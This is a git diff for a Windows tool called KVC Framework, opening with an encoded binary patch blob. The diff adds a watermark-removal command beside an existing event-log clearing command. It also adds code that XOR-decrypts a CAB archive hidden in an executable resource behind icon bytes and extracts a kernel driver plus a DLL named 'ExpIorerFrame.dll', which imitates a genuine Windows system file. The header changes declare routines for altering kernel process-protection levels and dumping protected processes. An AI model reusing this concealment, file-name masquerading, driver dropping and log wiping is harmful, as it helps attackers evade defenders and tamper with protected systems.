z(Tx=_TRH(9k6zcCjv_~dO~CnLYv^^{43v8aF-mxp#AaI_6-3)@HP&W6KVS4EN9Z~VF<657Ed|rL;)`ZNxAKZycsdJ}a z-7~@~cnmpd!HI{~tS=V2$u6z7@5`(Ww&+i@IBZ8+*;c%34zsPP40o{e-uc19+FxrI zY)oFB64$lgc=V<+S`~qNV~2OCVf@@}3W4jeMwffsR|96HU5PpDvSsk7p<@;vn4R74 ztlu@v%-6aCXnm?;eJ!Dn!>tg#{f@-pwtX{hcm%*^&OGOzXs_$=ryu7n(lfbvBk|e$ z>0|rs%g(fZH(}$_ftRzlHQ3&lU)*rcAwq0&V@UQ>-kES|z#!q5FQ2!rdoVKna18FW z)LiF*>pSD4Q^zcvCs23{8Wh7+MTiS(b{uh~+v7t-+BD8;H%}?fD+>L68luvo9n#Y| z*zgZ*eYWn67%A4P8sfHz$*CXEc=zzD%F1JOa_$2gh1U24gsII~2FwUiK7}(RX&jLk zRZ>cf`ba3Js@kET%#_a@-|m17>=m#am9!*_moEwoh!Mx9zKYLah&UiKyh>8VCx{-W z`H0acZindQ|2QEMll50JmhC?kc}^OtYR%`rjk^1eynyQ= zyUCKQzmiv5S~ZQ55xAdreR=2_Mc@6D=zQE8;=JOUZqLd`PjrYqCgMz}esFO6SQpEj z_^d@HrmHQ68o%WtTZccoKI6$jx<8VA&XhFg_|bKvtW-H${9u8VXk79s`4!hBW5{Tj zsdY%sqFc&#?edPv*9&|N*3sVw+!*p?eqpNNWz3%S!-E5FDr^qrZfZGYO)R_S@Pu=E zP+augg}aaC4@-GVdJ~mA_s=Ps^s8R{RjVf9>gW>5>k|@IBTI zUqgg4t?A6?i$;BM;Vft_%NU9S+Y7a?E8JK#s%X?8BRmc49pNHxU|U9_6zifO za>GGag{9CDko6znLR;_;Ya4cryghLK;PeBI%y-sDA5Nwvbfku%S%XCj<|NSHd(e^| zM6*PXQ;R+DWEt=*f>%&WxRlw_B`%8#^=<3)a#yE&F-Z4?QmIhb)Znc`@|dd60dZU( z6w5;*MZ`|cH)d<)=sqH~v=;+9Y*STlx&~#5ut`R32?psR^&`qXjMl*M2(OKzf;}!m z;+FaaeHlXQ;M_C*RMm*Tmlt!%Mmr(yW9Xd6lZm)01K; zxb$^(%kJ znz4)ZCEMeLl@){Pch1oMLSCWot&HE`wQ(3!Qx-Z*aN#|hFmVB|WIm&WCZ66BQ$A>^ zw^jW61Y0uzC)xx(s-R|G> zJgaZB(5Pr~ld+_z?+B~vj!@tAFZ}yo^)~#eD6ijh`m{NnqAn?S|DjN~WrDiUW098$ z?m1`UMB2oapdB}+1xsRpCrQfn+eLdP~TPgX(@%UETP{XRBf60#Cbr;Jh z;iMNo1~mgn5ETJ2#Yw3p3CZdw&MP`D9uj$?6$|wvuCiMEP`za-NPaE3nX0T_Rms~D z0xOp(OQVZo(PS0!F{02*)sX2WhTR*YTjDdL@T#v+oH#0^wOv4HK*&-lpYT6R9_9fC zt9C9|a4OPMXqJOZr(J%!Y3K0fr?wgIjdO3M=#1{S!R`4*#oqGr@~qijX+FxP>95x_ z_KeB3_~_QhWAX76oOIY;va@)0yjT=Mc~>ZUe*xz^HGA%*UDX$iJNi#pym!0N?Fd{n zKV>wfz{0mu`}+1HN25zRrVKx_(Cp-z?9yR{DrJWK?q^#tZ*Naylb7C|-L#`1vb{0l zC8k+$l)YljyXsqKah?TkQ{I*?H7|G(-+X@FtkHuHx1aaTJrFb1*lJSjm^n8hJJG7A)6FjqT0_5u74=hzBmugBmI|ekKj%-Vr5GYe9uu z?M|t}-t!=}Al}VSX~MQH-`Ef8!m}9^p0PF5`VbMJQN~cV7tue5sxAG%Pl4mIL`*a< zxuc9IT(+jx5x4rT zJW6$4ajZ(@#i^7LBf>$=AjeWe*&LyWPl^QPIryQJUZtDZlY$s>RViKGyEs9M8Ywt1 zHX*`lq=a1Gz-Xx#dMoAb)#+Z?CPefAMdq$x5+5%#8627XD*1sWUsPeP)sh^9%HS_KH^Y55U`o#uKGm&D+XQnePX!u#BEZiiQ z!;uyr;0($kRb@>KZtvB?5~a44b+&DeN$jWsPwS@@CMOPWt~os~zL9-=`g|{>~N5@$+ZUS4tLPKlcw`)y+C{Hs3|cGfcPs4OSf^b!R<4U?jMXi+TbML|Y?jvn zi(%oNQ_9WP)bG7NlRt7&a=3mU{e^QpJ5!og)Yafp_&+XL{5kxn_06iSq0`JWU)HUS zUNU41@!asz+e;qAjJ1n%-2t6`VYv3z504HDtvWuf8xp7UW{B3|G}$Gwg0MVUr0pf( z7=$(&6RWUZ!Ho=d3ZBo?J?K5_(d190MXo7X+!&c>&@sWly(%oQABCRSD_y*hi~Unu zfq#N@(bTJgX!ugpT+hhnfSs^BRN~{?tKbPjZ!&;m0;95uBv~<0VF~JU&MQs|{Us+s z{4~uMoO8rU!1)qW-^8adURR_#u1t#(d7?=t9Hgix@owOR0!}^nL|I8Kxvl<%*e|sO z1wrtuf1!Mx1zt8P^Rjp_^K%+m^a!P6e+GmN=fbQY5sw;QlFwmfH$2TQkIpPp#=OXnWfiFkqoZO=1YRO-((~TVN2-Q^^U=s4 z-q}^!Bq?-6Htng?`gzpwQ?n)Rex;A5pLSkJ9HS*0zoOD--9ry8N$ZM$Q|TSUqf77g zgO;AQy5HyasA1;icdo?myStfhTt5HC^n2S(lVhxNj4pU85{$Ok73HySrrw)n{%F>A z`7`ER1+_ZdkpDnFZ@S=lz-{b<#ud8@`*egIzh`2~bbl?nva&Hd=mxTW2iJ2VVJ(kz zWVg?>hx=9-ZgW2E{O0b}9V4mB0^0Z|w(3MVr#OEuQIV$4`7lX!MnC+0v)_(@J*usl zdu&vMX%#o^-XtC!xp&XTPfb^au^z`cB65t@5*4OON@i!b*Cb@k+^t63~a zivK8T=T>QQE64NLWAr!|FN{O7v8|s8zs#mQH)#XCB_x+21tmBNUY$*uoD7Ya9O{(( zo@A`5VKk=qF5%G9ueu$ps>x=6ON8q5UNt718)9y6=Wo4h+Sbkm6X&;b&mMmFT|q~b zTP_?jO>n9UUBH^ ztM#K|lJ%g}L)7EW7E>=~^7>v)dLu4k6|a^*+JB}Y5H9i5d0V<}#68=Qn^RPEg}Ph0 zBe46YEje}g(2}iAifdshPmht#6fJQ~dtr9of@ZAU^2JbCsy{#C@r@(9zYMao46_@x zbm6sv#sojB&Q*=uD(FpiXO1L|U2>!7Y_8L-xOi-eZmrh*YGvPfT_3ujQlmU6(>#fB;7}xlq!0X)&Z`PN;uEFU&eFAoM((=&f8u9S=lL_oB$L{jnDmF z=S|9|AhBC~fXJ&mD-wF{rP5MG{@oRzcdrVtiK+ts;Y#@5o)q`v*5A-yXXVJ7asS43 zr@oI01_1OmgZ^Dd9 z68B7-K7Z^XyO{~TclC>p9xJ?Z1tYp`@z7qe=m~c=m)AZd^Y|sA;}YkT3jYcf_5A>O zr$D%6UCI1HXWJp;xa-$V(7WBp9be|MXD_p1g3N8Zu4&GS(mGwo&Vl=cUb~xHM$Fzg zgOsRuAu=(hx$?Y^-o4Mud|xf-ANJFdE+>n<8CgS(KZs%TnVnqblCJ8D!4+6$tHI9M z`F!HqXL;L&8wC6Lg1rM?xw1%;>b!&U$)-9x+lB|pwhp*ZehZmkK1);VMS|p?A!494 z7^EPj)^bSUic)44#AV7n!R-$*$UZ4hjt`?}d)!gieA?VLVxLv>^s-Ov9pWh0optO6 zeU8P-S#4O~U}*#Rhc?_O^|6x}D#4MCaom74nIEy#BMSFa3Ft%*P)4x|ChfN`dLED- z^<1BR!qJ)nao{rWGpwSB;bw9WB>b+jYB*36RQ!Mk$1nD*O!#o^g3HJ2H#y}fzc2VK zdMqb%wP2>=7#}^Lf@BP?nSzC6>1S%QGzVNdfoinaQ;D8FY2HmTk5*L)BQA$5{aVCO z)iZhE#Gv+M)RzjSU%@{+`o)Qd#-JCmo| z;;h~dQN1;fza4Y;nBuHq=}7511Iwwzd3LMcAJNJ^X>15(r>vapA<_-Fc#lUtZTIZq zvUi3CmKAHcHu)116A!QTD#^95t4|qlZ|NWl#Ri6?@#Uu}rqx)?(8E!QDKg|8;= zf0UP7;t;-U>(YY6yYsnYGmiJ!62CW`@N!pJXBWPmb|AZRjHyl9#i6c)-rY-nyHGeC z?|ZFe=8`AOrk2EvvPpwNiMLid44P;@ixN*5Y3~#57qdTa(I&@XE+2*IA2O|zbryap zXuCY>=n3;tUMun!xjlXP(wCgjk`$Y9&1l0J!@!L`xktya4J%CTtDfql?P4u(FuQNp zIsPE_vz@`txZ09yIUj5iZR?tZ`+l$(cYk*N)@9Ec?-~mqr{bBcWd+mr`?yzMXKXvF z@8Z3_^Xj96!nzQqXwk~uhBHj^Qn**rb531y9IHipBMo&IA1-fp4ERZ~ zkDfsya1LLaHb9?IRK0H3(K~~8>pw6&mMT?Kvt;C%QORHI%A%|T*? zK(%&-|Js6S6@uL^Viu?ws-xT`IA$1Z+$o~>`l*2+Mo&`y-`v!b#%S=s_5^GdmPr5F z>xsaq;}B#da4^D??328L+BlKlj{okVVi22?H+h8QKY!4|r(K)(A;~`4YB1N~7x!*> zgCLmivzM@Q6lvbZz1gnU+1n=Nl-!;acxuqKL1je)@q5j*8Ht?DC8GsKOqS`1%5gMb zEn;iKj-(Nh!!Alf7bVbse5aRl-NIq&_V$22C3koFbB?iYG~E+KCK|LxDCP>xReJAt zn_av%QkzX_-ZuQ{uH&IU9vEysFi;+G(s_s8)&oOxZ|m=^J$!Co%MS}??wzxK;J&eU zKfbL^8<~DqU>$nn#@kt*qqbY7cJbDvWLrPK;+a4Fp-CU6QwM?D-!AXI{mXLB3a-|5 zt%@Bt2OfgXm);(MKa#z{bC(B(X7^&=g^Su}i{_UO#lLqPv43|zL!rr8l$(3ibsddQSYL0XH4sIDUqR;5bKO!GxO-o<@ z7_)unDvsr;8@>Ys3mbes#2%iQwE}uE=WzPjY8Q&|Wvkr=OWT_Zt2PlI#vR(oyKp{G zN3ZqLmL!bh^)c@J3Zr#~(N{8R${)I%PS}obJy*WctkuzK1;b`5ozQSO{=(cx>K{x0 E3)7bE8~^|S diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index d562213..30f3f82 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -1131,7 +1131,38 @@ int wmain(int argc, wchar_t* argv[]) else if (command == L"evtclear") { return g_controller->ClearSystemEventLogs() ? 0 : 2; } - + + // ==================================================================== + // WATERMARK MANAGEMENT + // ==================================================================== + + else if (command == L"watermark" || command == L"wm") { + if (argc < 3) { + ERROR(L"Missing subcommand. Usage: kvc watermark "); + return 1; + } + + std::wstring_view subCommand = argv[2]; + + if (subCommand == L"remove") { + INFO(L"Removing Windows desktop watermark..."); + return g_controller->RemoveWatermark() ? 0 : 2; + } + else if (subCommand == L"restore") { + INFO(L"Restoring Windows desktop watermark..."); + return g_controller->RestoreWatermark() ? 0 : 2; + } + else if (subCommand == L"status") { + std::wstring status = g_controller->GetWatermarkStatus(); + INFO(L"Watermark status: %s", status.c_str()); + return 0; + } + else { + ERROR(L"Unknown watermark subcommand: %s", subCommand.data()); + return 1; + } + } + // ==================================================================== // UNKNOWN COMMAND // ==================================================================== diff --git a/kvc/Kvc.vcxproj b/kvc/Kvc.vcxproj index 524a49c..fae7de2 100644 --- a/kvc/Kvc.vcxproj +++ b/kvc/Kvc.vcxproj @@ -129,6 +129,7 @@ + @@ -148,6 +149,7 @@ + diff --git a/kvc/Kvc.vcxproj.filters b/kvc/Kvc.vcxproj.filters index 8716ed2..e127a39 100644 --- a/kvc/Kvc.vcxproj.filters +++ b/kvc/Kvc.vcxproj.filters @@ -57,19 +57,22 @@ Source Files\Controller - + + Source Files + + Source Files\Controller Source Files\Controller - + Source Files\Controller - + Source Files - + Source Files @@ -116,6 +119,12 @@ Header Files + + Header Files + + + Header Files + Header Files @@ -137,17 +146,6 @@ Header Files - - Header Files - - - - - Source Files - - - Source Files - @@ -159,9 +157,4 @@ Resource Files - - - Resource Files - - \ No newline at end of file diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp index a3401b1..4bc3ecf 100644 --- a/kvc/Utils.cpp +++ b/kvc/Utils.cpp @@ -18,6 +18,8 @@ #include #include #include +#include +#pragma comment(lib, "cabinet.lib") namespace fs = std::filesystem; @@ -1023,4 +1025,256 @@ const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, return ProcessColors::YELLOW; } +#include +#pragma comment(lib, "cabinet.lib") + +// ============================================================================ +// CAB DECOMPRESSION +// ============================================================================ + +// FDI callback structures +struct MemoryReadContext { + const BYTE* data; + size_t size; + size_t offset; +}; + +// Global context for FDI callbacks +static MemoryReadContext* g_cabContext = nullptr; +static std::vector* g_currentFileData = nullptr; + +// FDI memory allocation +static void* DIAMONDAPI fdi_alloc(ULONG cb) { + return malloc(cb); +} + +// FDI memory deallocation +static void DIAMONDAPI fdi_free(void* pv) { + free(pv); +} + +// FDI file open - returns memory context +static INT_PTR DIAMONDAPI fdi_open(char* pszFile, int oflag, int pmode) { + return g_cabContext ? (INT_PTR)g_cabContext : -1; +} + +// FDI file read - reads from memory buffer +static UINT DIAMONDAPI fdi_read(INT_PTR hf, void* pv, UINT cb) { + MemoryReadContext* ctx = (MemoryReadContext*)hf; + if (!ctx) return 0; + + size_t remaining = ctx->size - ctx->offset; + size_t to_read = (cb < remaining) ? cb : remaining; + + if (to_read > 0) { + memcpy(pv, ctx->data + ctx->offset, to_read); + ctx->offset += to_read; + } + + return static_cast(to_read); +} + +// FDI file write - writes to current file buffer +static UINT DIAMONDAPI fdi_write(INT_PTR hf, void* pv, UINT cb) { + if (g_currentFileData && cb > 0) { + BYTE* data = static_cast(pv); + g_currentFileData->insert(g_currentFileData->end(), data, data + cb); + } + return cb; +} + +// FDI file close +static int DIAMONDAPI fdi_close(INT_PTR hf) { + g_currentFileData = nullptr; + return 0; +} + +// FDI file seek - seeks in memory buffer +static LONG DIAMONDAPI fdi_seek(INT_PTR hf, LONG dist, int seektype) { + MemoryReadContext* ctx = (MemoryReadContext*)hf; + if (!ctx) return -1; + + switch (seektype) { + case SEEK_SET: ctx->offset = dist; break; + case SEEK_CUR: ctx->offset += dist; break; + case SEEK_END: ctx->offset = ctx->size + dist; break; + } + + return static_cast(ctx->offset); +} + +// FDI notification callback - handles file extraction +static INT_PTR DIAMONDAPI fdi_notify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin) { + std::vector* extractedData = static_cast*>(pfdin->pv); + + switch (fdint) { + case fdintCOPY_FILE: + // Extract kvc.evtx file + if (pfdin->psz1) { + std::string filename = pfdin->psz1; + if (filename.find("kvc.evtx") != std::string::npos) { + g_currentFileData = extractedData; + return (INT_PTR)g_cabContext; + } + } + return 0; + + case fdintCLOSE_FILE_INFO: + g_currentFileData = nullptr; + return TRUE; + + default: + break; + } + return 0; +} + +// Decompress CAB from memory and extract kvc.evtx +std::vector DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept +{ + std::vector extractedFile; + + MemoryReadContext ctx = { cabData, cabSize, 0 }; + g_cabContext = &ctx; + + ERF erf{}; + HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read, + fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf); + + if (!hfdi) { + DEBUG(L"FDICreate failed: %d", erf.erfOper); + g_cabContext = nullptr; + return extractedFile; + } + + char cabName[] = "memory.cab"; + char cabPath[] = ""; + + BOOL result = FDICopy(hfdi, cabName, cabPath, 0, fdi_notify, nullptr, &extractedFile); + + FDIDestroy(hfdi); + g_cabContext = nullptr; + + if (!result) { + DEBUG(L"FDICopy failed: %d", erf.erfOper); + return std::vector(); + } + + return extractedFile; +} + +// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll +bool SplitKvcEvtx(const std::vector& kvcData, + std::vector& outKvcSys, + std::vector& outDll) noexcept +{ + if (kvcData.size() < 2) { + DEBUG(L"kvc.evtx too small"); + return false; + } + + // Find all MZ signatures (PE file start markers) + std::vector peOffsets; + for (size_t i = 0; i < kvcData.size() - 1; i++) { + if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) { // MZ signature + peOffsets.push_back(i); + } + } + + if (peOffsets.size() != 2) { + DEBUG(L"Expected 2 PE files in kvc.evtx, found %zu", peOffsets.size()); + return false; + } + + // Extract both PE files + size_t firstStart = peOffsets[0]; + size_t firstEnd = peOffsets[1]; + size_t secondStart = peOffsets[1]; + size_t secondEnd = kvcData.size(); + + std::vector firstPE(kvcData.begin() + firstStart, kvcData.begin() + firstEnd); + std::vector secondPE(kvcData.begin() + secondStart, kvcData.begin() + secondEnd); + + // Identify which is driver vs DLL by checking PE subsystem + auto isDriver = [](const std::vector& pe) -> bool { + if (pe.size() < 0x200) return false; + + DWORD peOffset = *reinterpret_cast(&pe[0x3C]); + if (peOffset + 0x5C >= pe.size()) return false; + + WORD subsystem = *reinterpret_cast(&pe[peOffset + 0x5C]); + return (subsystem == 1); // IMAGE_SUBSYSTEM_NATIVE = kernel driver + }; + + bool firstIsDriver = isDriver(firstPE); + bool secondIsDriver = isDriver(secondPE); + + // Assign outputs based on subsystem detection + if (firstIsDriver && !secondIsDriver) { + outKvcSys = firstPE; + outDll = secondPE; + } else if (!firstIsDriver && secondIsDriver) { + outKvcSys = secondPE; + outDll = firstPE; + } else { + DEBUG(L"Could not identify driver vs DLL in kvc.evtx"); + return false; + } + + DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes", + outKvcSys.size(), outDll.size()); + + return true; +} + +// Extract kvc.sys and ExpIorerFrame.dll from resource CAB +bool ExtractResourceComponents(int resourceId, + std::vector& outKvcSys, + std::vector& outDll) noexcept +{ + DEBUG(L"[EXTRACT] Loading resource %d", resourceId); + + // Step 1: Load resource + auto resourceData = ReadResource(resourceId, RT_RCDATA); + if (resourceData.size() <= 3774) { + ERROR(L"[EXTRACT] Resource too small"); + return false; + } + + // Step 2: Skip icon (3774 bytes) + std::vector encryptedCAB( + resourceData.begin() + 3774, + resourceData.end() + ); + + DEBUG(L"[EXTRACT] Encrypted CAB size: %zu bytes", encryptedCAB.size()); + + // Step 3: XOR decrypt + auto decryptedCAB = DecryptXOR(encryptedCAB, KVC_XOR_KEY); + if (decryptedCAB.empty()) { + ERROR(L"[EXTRACT] XOR decryption failed"); + return false; + } + + // Step 4: CAB decompress → kvc.evtx + auto kvcEvtxData = DecompressCABFromMemory(decryptedCAB.data(), decryptedCAB.size()); + if (kvcEvtxData.empty()) { + ERROR(L"[EXTRACT] CAB decompression failed"); + return false; + } + + DEBUG(L"[EXTRACT] kvc.evtx extracted: %zu bytes", kvcEvtxData.size()); + + // Step 5: Split into kvc.sys + ExpIorerFrame.dll + if (!SplitKvcEvtx(kvcEvtxData, outKvcSys, outDll)) { + ERROR(L"[EXTRACT] Failed to split kvc.evtx"); + return false; + } + + DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes", + outKvcSys.size(), outDll.size()); + + return true; +} + } // namespace Utils \ No newline at end of file diff --git a/kvc/Utils.h b/kvc/Utils.h index 0073564..c38feb2 100644 --- a/kvc/Utils.h +++ b/kvc/Utils.h @@ -1,14 +1,6 @@ -/** - * @file Utils.h - * @brief Core utility functions declarations for KVC Framework - * @author Marek Wesolowski - * @date 2025 - * @copyright KVC Framework - * - * Header file containing declarations for process management, memory operations, - * protection level handling, and various system utilities. - * Centralized utilities used throughout the KVC Framework. - */ +// Utils.h +// Core utility functions for KVC Framework +// Author: Marek Wesolowski, 2025 #pragma once @@ -20,204 +12,80 @@ #include #include -/** - * @namespace Utils - * @brief Core utility functions namespace for KVC Framework - * - * Provides essential utilities for: - * - String and numeric parsing - * - File and resource operations - * - Process name resolution - * - Kernel address operations - * - Protection level bit manipulation - * - String conversion utilities - * - Process dumpability analysis - * - Hex string utilities - * - PE binary manipulation - * - Console coloring utilities - */ namespace Utils { // ============================================================================ - // STRING AND NUMERIC PARSING UTILITIES + // STRING AND NUMERIC PARSING // ============================================================================ - /** - * @brief Parses PID from string with validation - * @param pidStr String containing PID value - * @return std::optional Parsed PID or nullopt on invalid input - * @note Validates numeric range and format - * @note Returns nullopt for non-numeric strings or invalid PIDs - */ std::optional ParsePid(const std::wstring& pidStr) noexcept; - - /** - * @brief Checks if string contains only numeric characters - * @param str String to validate - * @return bool true if string is numeric - * @note Empty string returns false - * @note Handles Unicode numeric characters - */ bool IsNumeric(const std::wstring& str) noexcept; // ============================================================================ - // FILE AND RESOURCE OPERATIONS (RENAMED TO AVOID WINAPI CONFLICTS) + // FILE AND RESOURCE OPERATIONS // ============================================================================ - /** - * @brief Reads file contents into byte vector - * @param path File path to read - * @return std::vector File contents or empty on failure - * @note Renamed from ReadFile to avoid conflict with Windows API - * @note Maximum file size: 256MB for safety - * @note Uses memory-mapped files for large files - */ + // Read file into byte vector std::vector ReadFile(const std::wstring& path) noexcept; - /** - * @brief Reads embedded resource from executable - * @param resourceId Resource identifier - * @param resourceType Resource type (e.g., RT_RCDATA) - * @return std::vector Resource data or empty on failure - * @note Uses FindResource/LoadResource Windows API - * @note Returns empty vector if resource not found - */ + // Read embedded resource from executable std::vector ReadResource(int resourceId, const wchar_t* resourceType); - /** - * @brief Writes byte vector to file with error handling - * @param path File path to write - * @param data Data to write - * @return bool true on successful write - * @note Renamed from WriteFile to avoid conflict with Windows API - * @note Handles large files with chunked writing - * @note Creates directory structure if needed - */ + // Write byte vector to file bool WriteFile(const std::wstring& path, const std::vector& data) noexcept; - /** - * @brief Force deletes file by removing attributes and using fallback methods - * @param path File path to delete - * @return bool true if file deleted successfully - * @note Removes read-only, system, and hidden attributes - * @note Uses multiple deletion strategies for stubborn files - * @note Handles file locking and sharing violations - */ + // Force delete file with attribute removal bool ForceDeleteFile(const std::wstring& path) noexcept; // ============================================================================ // PROCESS NAME RESOLUTION // ============================================================================ - /** - * @brief Resolves process name from PID using multiple methods - * @param pid Process ID to resolve - * @return std::wstring Process name or "[Unknown]" - * @note Attempts: Toolhelp32, OpenProcess+GetModuleFileName, NtQuerySystemInformation - * @note Returns "[Unknown]" if all methods fail - * @note Caches results for performance - */ std::wstring GetProcessName(DWORD pid) noexcept; - /** - * @brief Creates descriptive identifier for unknown protected processes - * @param pid Process ID - * @param kernelAddress Kernel EPROCESS address - * @param protectionLevel Protection level byte - * @param signerType Signer type byte - * @return std::wstring Descriptive process identifier - * @note Format: "Protected_Process_[PID]_[Address]_[ProtectionLevel]" - * @note Used when process name cannot be resolved normally - */ std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept; // ============================================================================ - // KERNEL OPERATIONS (INLINE OPTIMIZED) + // KERNEL OPERATIONS // ============================================================================ - /** - * @brief Resolves kernel base address with caching - * @return std::optional Kernel base or nullopt on failure - * @note Uses NtQuerySystemInformation with SystemModuleInformation - * @note Caches result for 5000ms for performance - * @note Returns ntoskrnl.exe base address - */ std::optional GetKernelBaseAddress() noexcept; - /** - * @brief Calculates kernel address from base and offset - * @param base Kernel base address - * @param offset Offset from base - * @return ULONG_PTR Calculated kernel address - * @note Simple addition operation, marked constexpr for compile-time evaluation - * @note Used for calculating EPROCESS field addresses - */ constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept { return base + offset; } // ============================================================================ - // PROTECTION LEVEL BIT MANIPULATION (INLINE FOR PERFORMANCE) + // PROTECTION LEVEL BIT MANIPULATION // ============================================================================ - /** - * @brief Extracts protection level from combined byte - * @param protection Combined protection byte - * @return UCHAR Protection level (lower 3 bits) - * @note Values: 0=None, 1=ProtectedLight, 2=Protected - * @note Uses bitmask 0x07 to extract lower 3 bits - */ + // Extract protection level from combined byte (lower 3 bits) constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept { return protection & 0x07; } - /** - * @brief Extracts signer type from combined byte - * @param protection Combined protection byte - * @return UCHAR Signer type (upper 4 bits) - * @note Values: 0=None, 1=Authenticode, 3=Antimalware, 6=WinTcb, etc. - * @note Uses bitmask 0xF0 and right shift to extract upper 4 bits - */ + // Extract signer type from combined byte (upper 4 bits) constexpr UCHAR GetSignerType(UCHAR protection) noexcept { return (protection & 0xF0) >> 4; } - /** - * @brief Combines protection level and signer into single byte - * @param protectionLevel Protection level (0-7) - * @param signerType Signer type (0-15) - * @return UCHAR Combined protection byte - * @note Format: [SignerType:4 bits][ProtectionLevel:3 bits][0:1 bit] - * @note Used for writing protection values to kernel memory - */ + // Combine protection level and signer into single byte constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept { return (signerType << 4) | protectionLevel; } - /** - * @brief Extracts signature level value - * @param signatureLevel Raw signature level byte - * @return UCHAR Signature level value - * @note Uses bitmask 0x0F to extract lower 4 bits - * @note Signature level indicates code signing verification level - */ + // Extract signature level value (lower 4 bits) constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept { return signatureLevel & 0x0F; } - /** - * @brief Extracts section signature level value - * @param sectionSignatureLevel Raw section signature level byte - * @return UCHAR Section signature level value - * @note Uses bitmask 0x0F to extract lower 4 bits - * @note Section signature level indicates DLL signature verification level - */ + // Extract section signature level value (lower 4 bits) constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept { return sectionSignatureLevel & 0x0F; @@ -227,108 +95,30 @@ namespace Utils // PROTECTION LEVEL STRING CONVERSIONS // ============================================================================ - /** - * @brief Converts protection level to human-readable string - * @param protectionLevel Protection level byte - * @return const wchar_t* String representation ("None", "PPL", "PP") - * @note Returns "Unknown" for invalid protection levels - * @note Used for display and logging purposes - */ const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept; - - /** - * @brief Converts signer type to human-readable string - * @param signerType Signer type byte - * @return const wchar_t* String representation (e.g., "Windows", "Antimalware") - * @note Returns "Unknown" for invalid signer types - * @note Maps PS_PROTECTED_SIGNER enum values to strings - */ const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept; - - /** - * @brief Converts signature level to human-readable string - * @param signatureLevel Signature level byte - * @return const wchar_t* String representation - * @note Returns numeric value as string for unknown levels - * @note Used for displaying code signing information - */ const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept; - - /** - * @brief Converts section signature level to human-readable string - * @param sectionSignatureLevel Section signature level byte - * @return const wchar_t* String representation - * @note Returns numeric value as string for unknown levels - * @note Used for displaying DLL signing information - */ const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept; // ============================================================================ // STRING TO ENUM PARSING // ============================================================================ - /** - * @brief Parses protection level string to enum value - * @param protectionLevel String like "PP", "PPL", "None" - * @return std::optional Protection level value or nullopt - * @note Case-insensitive matching - * @note Supports "PP", "PPL", "None", "0", "1", "2" formats - */ std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept; - - /** - * @brief Parses signer type string to enum value - * @param signerType String like "Windows", "Antimalware" - * @return std::optional Signer type value or nullopt - * @note Case-insensitive matching - * @note Supports: WinTcb, Windows, Antimalware, Lsa, WinSystem, etc. - */ std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept; - - /** - * @brief Gets recommended signature level for signer type - * @param signerType Signer type enumeration value - * @return std::optional Signature level or nullopt - * @note Provides reasonable defaults for different signer types - * @note Used when setting new protection levels - */ std::optional GetSignatureLevel(UCHAR signerType) noexcept; - - /** - * @brief Gets recommended section signature level for signer type - * @param signerType Signer type enumeration value - * @return std::optional Section signature level or nullopt - * @note Provides reasonable defaults for different signer types - * @note Used when setting new protection levels - */ std::optional GetSectionSignatureLevel(UCHAR signerType) noexcept; // ============================================================================ // PROCESS DUMPABILITY ANALYSIS // ============================================================================ - /** - * @brief Result structure for process dumpability analysis - * - * Contains analysis result indicating whether a process can be memory dumped - * and the detailed reason for the decision. - */ struct ProcessDumpability { - bool CanDump; ///< Whether process can be dumped - std::wstring Reason; ///< Detailed reason for dumpability status + bool CanDump; + std::wstring Reason; }; - /** - * @brief Analyzes whether process can be memory dumped - * @param pid Process ID - * @param processName Process executable name - * @param protectionLevel Current protection level - * @param signerType Digital signature authority - * @return ProcessDumpability Analysis result with reason - * @note Considers protection level, signer type, and process name - * @note Some protected processes cannot be dumped for security reasons - */ ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName, UCHAR protectionLevel, UCHAR signerType) noexcept; @@ -336,103 +126,59 @@ namespace Utils // HEX STRING UTILITIES // ============================================================================ - /** - * @brief Converts hex string to byte array - * @param hexString Hex string (supports 0x prefix, spaces, commas) - * @param bytes Output byte vector - * @return bool true if conversion successful - * @note Handles both uppercase and lowercase hex - * @note Skips whitespace and common separators - * @note Returns false for invalid hex characters - */ bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; - - /** - * @brief Validates hex string format - * @param hexString String to validate - * @return bool true if valid hex string - * @note Allows 0x prefix, spaces, commas as separators - * @note Requires even number of hex digits after cleaning - */ bool IsValidHexString(const std::wstring& hexString) noexcept; // ============================================================================ // PE BINARY MANIPULATION // ============================================================================ - /** - * @brief Gets length of PE file from binary data - * @param data Binary data containing PE file - * @param offset Starting offset in data - * @return std::optional PE file length or nullopt on invalid PE - * @note Validates DOS and NT headers - * @note Calculates length from section table - * @note Returns nullopt for invalid PE headers - */ + // Get PE file length from binary data std::optional GetPEFileLength(const std::vector& data, size_t offset = 0) noexcept; - /** - * @brief Splits combined PE binary into separate components - * @param combined Combined PE data - * @param first Output for first PE component - * @param second Output for second PE component - * @return bool true if splitting successful - * @note Validates both PE structures before splitting - * @note Used for extracting kvc_pass.exe and kvc_crypt.dll from kvc.dat - */ + // Split combined PE binary (used for kvc.dat 